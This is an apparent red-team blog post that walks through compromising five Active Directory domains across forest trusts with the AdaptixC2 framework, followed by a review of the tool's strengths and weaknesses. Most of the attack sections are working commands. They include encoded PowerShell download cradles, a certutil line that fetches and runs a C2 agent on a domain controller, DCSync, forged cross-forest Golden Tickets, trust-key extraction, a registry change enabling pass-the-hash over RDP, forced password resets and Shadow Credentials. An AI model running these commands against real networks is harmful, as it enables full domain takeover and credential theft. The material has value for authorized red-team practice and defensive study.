Post cover image

July 24, 2026

AdaptixC2 & Domain Trusts: Chained Compromise of a Multi-Forest Active Directory Environment

Introduction

By Xotourlif33

8 min read

Introduction

This article documents an operation conducted against a multi-domain Active Directory environment, using AdaptixC2 as the Command & Control (C2) framework. The objective was to start from a limited initial access on a child domain (child.enterprise.ad) and progressively compromise multiple AD forests by abusing inter-domain and inter-forest trust relationships.

The target environment consisted of five domains organized across two forests with trusts between them:

child.enterprise.ad  <-->  enterprise.ad  <-->  contoso.ad  -->  corp.ad  <-->  sec.ad

Tools

C2 Framework

AdaptixC2 : Open-source red team C2 framework. It exposes a web interface with agent management, BOF (Beacon Object Files) execution, and an extension system via .axs files. It natively supports .NET assembly execution, BOF execution, and memory injection modules.

  • Extension-Kit used: Execution-BOF (No-Consolation and execute-assembly), LDAP modules, DCSync modules
  • Agent: HTTP beacon with asynchronous task communication

AD Enumeration Tools

SharpHound : BloodHound data collection.

BloodHound-CE : Attack path and ACL visualization.

PowerView : Targeted LDAP enumeration (trusts, groups, ACLs, FSPs).

Enum-ADTrusts.ps1 : Quick trust relationship enumeration.

powerspace.exe : In-memory PowerShell script execution via the agent.

Exploitation Tools

Rubeus : Kerberos ticket manipulation (Golden Ticket, asktgt, PTT).

mimikatz : DCSync, LSA dump, trust key extraction.

bloodyAD : AD attribute modification via LDAP.

Lateral Movement / Pivoting Tools

NetExec (nxc) : Remote command execution via SMB/WMI.

Ligolo-ng : TCP/UDP tunneling for network pivoting.

certutil : File download on target systems.

Phase 1 : Initial Access and Enumeration (child.enterprise.ad)

Context

Entry point: account $USER on child.enterprise.ad, with no special privileges. The parent-child trust is bidirectional, which allows enumeration of the parent domain from the child domain.

Trust Enumeration

execute-assembly --async /workspace/tools/powerspace.exe "/m:http://IP:8000/PowerView.ps1 /e:<b64:Get-DomainTrustMapping>"
execute-assembly --async /workspace/tools/powerspace.exe "/m:http://IP:8000/Enum-ADTrusts.ps1"
None

The trust is bidirectional and transitive :

None

BloodHound Collection

# Child domain
execute-assembly --async /workspace/powerspace.exe "/m:http://10.10.15.136:8000/SharpHound.ps1 /e:SQBuAHYAbwBrAGUALQBCAGwAbwBvAGQASABvAHUAbgBkACAALQBDAG8AbABsAGUAYwB0AGkAbwBuAE0AZQB0AGgAbwBkACAAQQBsAGwAIAAtAEQAbwBtAGEAaQBuACAAYwBoAGkAbABkAC4AaQBuAGwAYQBuAGUAZgByAGUAaQBnAGgAdAAuAGEAZAAgAC0AWgBpAHAARgBpAGwAZQBOAGEAbQBlACAAYgBsAG8AbwBkAC4AegBpAHAAIAAtAE8AdQB0AHAAdQB0AEQAaQByAGUAYwB0AG8AcgB5ACAAQwA6AFwAVABlAG0AcABcACAA"
# Parent domain (accessible via bidirectional trust)
execute-assembly --async /workspace/tools/powerspace.exe "/m:http://10.10.15.136:8000/SharpHound.ps1 /e:SQBuAHYAbwBrAGUALQBCAGwAbwBvAGQASABvAHUAbgBkACAALQBDAG8AbABsAGUAYwB0AGkAbwBuAE0AZQB0AGgAbwBkACAAQQBsAGwAIAAtAEQAbwBtAGEAaQBuACAAaQBuAGwAYQBuAGUAZgByAGUAaQBnAGgAdAAuAGEAZAAgAC0AWgBpAHAARgBpAGwAZQBOAGEAbQBlACAAYgBsAG8AbwBkAF8AcABhAHIAZQBuAHQALgB6AGkAcAAgAC0ATwB1AHQAcAB1AHQARABpAHIAZQBjAHQAbwByAHkAIABDADoAXABUAGUAbQBwAFwAIAA="

Note : The encoded command is based on : Invoke-BloodHound -CollectionMethod All -Domain $DOMAIN -ZipFileName blood.zip -OutputDirectory C:\Temp\

None

Privilege Escalation Vector Discovery

BloodHound analysis reveals that $USER is a member of the Svc_Admins group in enterprise.ad. This group holds an AddMember right on the Administrators group of the parent domain, granting $USER full control over enterprise.ad.

None

Confirmed via Adaptix native LDAP BOFs:

ldap get-usergroups $USER
None 
ldap get-acl "CN=Svc_Admins,CN=Users,DC=enterprise,DC=ad" --resolve
None

Phase 2 : Compromising enterprise.ad

Adding to the Administrators Group (cross-domain)

The Adaptix ldap add-groupmember command fails because the target group belongs to the parent domain. A more precise syntax is required, specifying both the target domain and the source account domain:

Add-DomainGroupMember -Identity 'Administrators' -Members 'CHILD\$USER' -Domain enterprise.ad -Verbose

Base64-encoded in UTF-16LE and executed via powerspace.exe.

None

Deploying an Agent on the Parent DC

Once the rights were obtained, the Adaptix agent was deployed on the parent DC (172.16.114.3) via NetExec:

nxc smb 172.16.114.3 -d $CHILD_DOMAIN -u $USER -p '$PASSWORD' -X \
  "certutil -urlcache -f http://PIVOT_IP:8000/adaptix_internal.exe C:\tmp\adaptix_internal.exe && C:\tmp\adaptix_internal.exe"

A Ligolo-ng pivot was already in place to route traffic toward the 172.16.114.0/24 subnet.

None

DCSync via Adaptix Native BOF

From the new agent on enterpise.ad, the built-in DCSync BOF was used to extract all hashes:

dcsync all

The NTDS base for enterprise.ad was recovered.

None

Enabling PtH via RDP

Registry modification to allow Pass-the-Hash over RDP:

shell "reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 0 /t REG_DWORD"

Phase 3 : Cross-Forest Attack toward consolo.ad (ExtraSIDs)

Trust Enumeration

The trust between enterprise.ad and contoso.ad is a bidirectional Forest trust. Checks reveal:

  • Transitivity: enabled
  • SID Filtering: enabled (Only SIDs from the forest of contoso.ad are allowed)
None
  • TrustAttributes: contains TREAT_AS_EXTERNAL
Get-DomainTrust -domain contoso.ad | Where-Object {$_.TargetName -eq "enterprise.ad"} | Select TrustAttributes
execute-assembly --async /workspace/tools/powerspace.exe "/m:http://172.16.114.5:8000/PowerView.ps1 /e:RwBlAHQALQBEAG8AbQBhAGkAbgBUAHIAdQBzAHQAIAAtAEQAbwBtAGEAaQBuACAAYQBwAGUAeABjAGEAcgBnAG8ALgBhAGQAIAAtAEQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIAIAAxADcAMgAuADEANgAuADEAMQA0AC4AMQAwACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBUAGEAcgBnAGUAdABOAGEAbQBlACAALQBlAHEAIAAnAGkAbgBsAGEAbgBlAGYAcgBlAGkAZwBoAHQALgBhAGQAJwB9ACAAfAAgAFMAZQBsAGUAYwB0ACAAVAByAHUAcwB0AEEAdAB0AHIAaQBiAHUAdABlAHMA
None

The presence of TREAT_AS_EXTERNAL indicates that SID History is accepted despite the inter-forest SID Filtering. However, only SIDs with a RID greater than 1000 pass the filter; built-in groups such as Domain Admins (RID 512) or Enterprise Admins (RID 519) are therefore blocked.

Identifying a High-Privilege Group with RID ≥ 1000

Get-DomainGroup -Domain consolo.ad -DomainController 172.16.114.10 \
  | Where-Object {[int]($_.objectsid -split '-')[-1] -gt 1000} \
  | Select Name, ObjectSID

execute-assembly --async /workspace/tools/powerspace.exe "/m:http://172.16.114.5:8000/PowerView.ps1 /e:RwBlAHQALQBEAG8AbQBhAGkAbgBHAHIAbwB1AHAAIAAtAEQAbwBtAGEAaQBuACAAYQBwAGUAeABjAGEAcgBnAG8ALgBhAGQAIAAtAEQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIAIAAxADcAMgAuADEANgAuADEAMQA0AC4AMQAwACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewBbAGkAbgB0AF0AKAAkAF8ALgBvAGIAagBlAGMAdABzAGkAZAAgAC0AcwBwAGwAaQB0ACAAJwAtACcAKQBbAC0AMQBdACAALQBnAHQAIAAxADAAMAAwAH0AIAB8ACAAUwBlAGwAZQBjAHQAIABOAGEAbQBlACwAIABPAGIAagBlAGMAdABTAEkARAA=
None

Results: DNSAdmins, DNSUpdateProxy, HT_MANAGEMENT.

BloodHound analysis confirms that the HT_MANAGEMENT group holds DCSync rights on the CONSOLO DC.

SID: S-1-5-21-990245489-431684941-3923950027-1112 (RID 1112).

None

ExtraSIDs Attack (Cross-Forest Golden Ticket)

Required parameters:

  • Parameter Value KRBTGT hash of enterprise.ad : $NT_HASH
  • SID of enterprise.ad :S-1-5-21-1407615112-106284543-3058975305
  • Target SID (HT_MANAGEMENT) :S-1-5-21-990245489-431684941-3923950027-1112
  • Forged user : Administrator
.\Rubeus.exe golden /rc4:$NT_HASH /domain:enterprise.ad \
  /sid:S-1-5-21-1407615112-106284543-3058975305 \
  /sids:S-1-5-21-990245489-431684941-3923950027-1112 \
  /user:Administrator /ptt
None

The ticket is injected into memory. Kerberos automatically performs the inter-forest referral: the enterprise.ad TGT is presented to the local KDC, which issues a referral TGT toward consolo.ad. This referral ticket is accepted because the HT_MANAGEMENT SID passes the RID > 1000 filter.

DCSync on consolo.ad

.\mimikatz.exe "lsadump::dcsync /user:consolo\Administrator /domain:consolo.ad" exit

NT hash of the consolo.ad Administrator recovered: $NT_HASH

None None

Phase 4 : Trust Account Attack toward corp.ad

Trust Context

The trust between consolo.ad and corp.ad is unidirectional outbound.

None

By default, from consolo.ad you cannot access resources in corp.ad. However, when an AD trust is created, a trust account is automatically provisioned in the target domain: consolo$ in corp.ad.

This account holds standard domain user rights within corp.ad. Its password is stored as an LSA secret on the source DC and can be extracted via lsadump::trust.

Trust Key Extraction

mimikatz # lsadump::trust /patch
None

The [ Out ] corp.ad -> consolo.ad entry contains the trust account RC4 hash:

rc4_hmac_nt : $NT_HASH

Note: two versions of the hash are present (current and previous). If the first one fails, try the second.

Obtaining a TGT for corp.ad

The attack was performed from an RDP session, the /ptt ticket injected via the Adaptix agent is not consumed by processes spawned through execute-assembly, which run in a different authentication context:

.\Rubeus.exe asktgt /user:consolo$ /domain:corp.ad /rc4:$NT_HASH /ptt

BloodHound Collection on corp.ad

. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -Domain corp.ad -ZipFileName blood.zip -OutputDirectory C:\tools\
None

Analysis reveals that the CONSOLO$ account holds DCSync rights on corp.ad.

None

DCSync on corp.ad

mimikatz # lsadump::dcsync /user:corp\Administrator /domain:corp.ad

NT hash of the corp.ad Administrator recovered: $NT_HASH

None None

Phase 5 : Bidirectional Cross-Forest Attack toward sec.ad

Trust Context

The trust between corp.ad and sec.ad is a bidirectional Forest trust. Standard vectors yielded no results on this trust (no Kerberoastable SPNs, no Unconstrained Delegation, no MSSQL links).

None

Discovery via Foreign Security Principals

Get-DomainObject -LDAPFilter '(objectclass=ForeignSecurityPrincipal)' \
  -Domain sec.ad -DomainController 172.16.114.20

BloodHound analysis reveals that user harry (from corp.ad) holds ACL rights over user alex in sec.ad specifically the ability to reset their password.

None

We can retrieve harry's NT_HASH with our Adapatix agent :

None

Cross-Forest ACL Abuse with bloodyAD

Password reset of alex from harry's context:

bloodyAD --host dc05.sec.ad -d corp.ad -u harry -p :$NT_HASH \
  --dc-ip 172.16.114.20 set password ALEX '$PASSWORD'
None

Compromising sec.ad via alex

alex holds rights allowing self-addition to the Enterprise Key Admins group, followed by a Shadow Credentials attack against the DC:

None 
bloodyAD --host dc05.sec.ad -d sec.ad -u Alex -p '$PASSWORD' \
  --dc-ip 172.16.114.20 add groupMember "ENTERPRISE KEY ADMINS" "Alex"
bloodyAD --host dc05.sec.ad -d sec.ad -u Alex -p '$PASSWORD' \
  --dc-ip 172.16.114.20 add shadowCredentials DC05$
None

The certificate obtained via Shadow Credentials allows retrieval of the DC05$ machine account NT hash, enabling a full DCSync of sec.ad.

None

Assessment AdaptixC2 : Strengths and Weaknesses

Strengths

Extensibility via the Extension-Kit The BOF and .axs extension system is particularly well designed. The provided Extension-Kit covers a broad attack surface: memory injection (section mapping, pool party, CFG hijack), native PE execution (No-Consolation), DCSync, DPAPI, and LDAP. It is comparable to Cobalt Strike's BOF ecosystem while remaining open-source.

Native LDAP Modules The ldap get-usergroups, ldap get-acl, and ldap add-groupmember commands enable AD enumeration directly from the interface without relying on PowerShell or external assemblies. This is a notable time saver during rapid enumeration phases.

powerspace.exe Integration In-memory PowerShell script execution via Base64 encoding and remote HTTP module loading is clean and avoids dropping files to disk. The encode/execute workflow is fast once automated.

Multi-Agent Interface Simultaneous management of multiple agents across different domains is smooth. The centralized beacon view with task history is particularly useful in multi-domain scenarios like this engagement.

Weaknesses

Unstable No-Consolation BOF The NoConsolation BOF for native PE execution (mimikatz in particular) proved unreliable. Argument parsing is sensitive to spaces and quotes , each argument is treated separately rather than as a single string. With mimikatz, this results in partial execution where only the main command is recognized without its parameters.

Kerberos Context Not Propagated to Child Processes Tickets injected via Rubeus /ptt are not automatically used by processes spawned through execute-assembly. PowerShell commands run via powerspace.exe and .NET assemblies execute in a context that does not inherit the imported ticket. This forces operators to fall back to RDP sessions or create sacrificial processes with createnetonly to leverage the desired Kerberos context, significantly increasing operational overhead in cross-domain scenarios.

Fragile Argument Parsing Several modules suffer from inconsistent argument parsing. The ldap add-groupmember command does not handle cross-domain group names correctly. BOF syntax sometimes differs from what third-party tool READMEs document, requiring source code inspection to understand actual behavior.

Conclusion

AdaptixC2 is a serious open-source C2 framework with an extensible architecture and an Extension-Kit covering modern injection techniques. It represents a credible alternative for red team operations in Windows/AD environments, particularly thanks to its memory injection BOFs and native LDAP modules.

However, in a multi-forest context involving advanced Kerberos manipulation (ExtraSIDs, trust account attacks, Shadow Credentials), its limitations around authentication context propagation and inconsistent BOF behavior repeatedly required falling back to RDP sessions or third-party tooling. These points represent the main areas for improvement to make it a fully self-sufficient framework for complex AD engagements.

See you !!

None